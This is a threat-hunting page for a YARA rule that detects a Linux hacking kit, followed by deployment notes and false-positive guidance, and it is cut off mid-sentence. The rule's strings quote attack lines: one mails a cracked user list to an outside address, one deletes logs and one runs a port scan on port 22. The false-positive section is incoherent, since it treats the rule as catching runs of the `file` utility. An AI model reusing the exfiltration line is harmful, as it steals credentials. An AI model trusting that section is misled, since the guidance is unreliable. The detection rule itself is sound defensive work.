Linux hack tools - file a

Hunt Hypothesis

This rule detects adversaries utilizing standard Linux forensics and hacking utilities to gather system intelligence or establish persistence within the environment. Proactive hunting for these tool executions is essential in Azure Sentinel to distinguish legitimate administrative activity from stealthy reconnaissance that often evades traditional alerting due to its low-severity classification.

YARA Rule

rule LinuxHacktool_eyes_a {
	meta:
		description = "Linux hack tools - file a"
		author = "Florian Roth"
		reference = "not set"
		date = "2015/01/19"
		hash = "458ada1e37b90569b0b36afebba5ade337ea8695"
	strings:
		$s0 = "cat trueusers.txt | mail -s \"eyes\" [email protected]" fullword ascii
		$s1 = "mv scan.log bios.txt" fullword ascii
		$s2 = "rm -rf bios.txt" fullword ascii
		$s3 = "echo -e \"# by Eyes.\"" fullword ascii
		$s4 = "././pscan2 $1 22" fullword ascii
		$s10 = "echo \"#cautam...\"" fullword ascii
	condition:
		2 of them
}

Deployment Notes

This YARA rule can be deployed in the following contexts:

• Microsoft Defender for Endpoint — Custom indicators / advanced hunting
• Email Gateway — Attachment scanning
• File Share Monitoring — Periodic scanning of shared drives
• YARA CLI — Manual threat hunting on endpoints

This rule contains 6 string patterns in its detection logic.

References

• not set
• Source Rule

False Positive Guidance

• Scheduled System Health Checks via file

  • Scenario: A nightly cron job runs on the central monitoring server to inventory installed binaries and verify file types across critical directories before generating a compliance report. This task executes file /usr/bin/* or similar commands, triggering the detection rule as it scans executable attributes.
  • Filter/Exclusion: Exclude alerts where the source user is a dedicated service account (e.g., compliance-bot) and the command line contains specific paths like /var/log/compliance/. Alternatively, add an exclusion for cron jobs running between 02:00 and 04:00 UTC.

• Post-Patch Verification by DevOps Engineers

  • Scenario: After a major security patch deployment, a DevOps engineer manually runs file <binary_name> on newly updated libraries (e.g., /lib/x86_64-linux-gnu/libssl.so) to confirm the architecture and file type before promoting changes to production. This manual verification mimics reconnaissance behavior often associated with hack tools.
  • Filter/Exclusion: Create a rule exclusion for commands executed by users in the devops-admin group during known maintenance windows (e.g., Tuesday/Wednesday mornings). Additionally, filter out events where the command duration is under 5 seconds and targets standard library paths.

• Automated Backup Integrity Scans

  • Scenario: An automated backup script utilizes the file utility to validate the integrity of archived database dumps before compression. The script iterates through a large directory of .sql or .tar.gz files, invoking file on each item to ensure correct formatting prior to archival.
  • Filter/Exclusion: Exclude events where the parent process is a known backup daemon (e.g., rsync, tar, or a custom Python wrapper named backup-validator) and the target file extension matches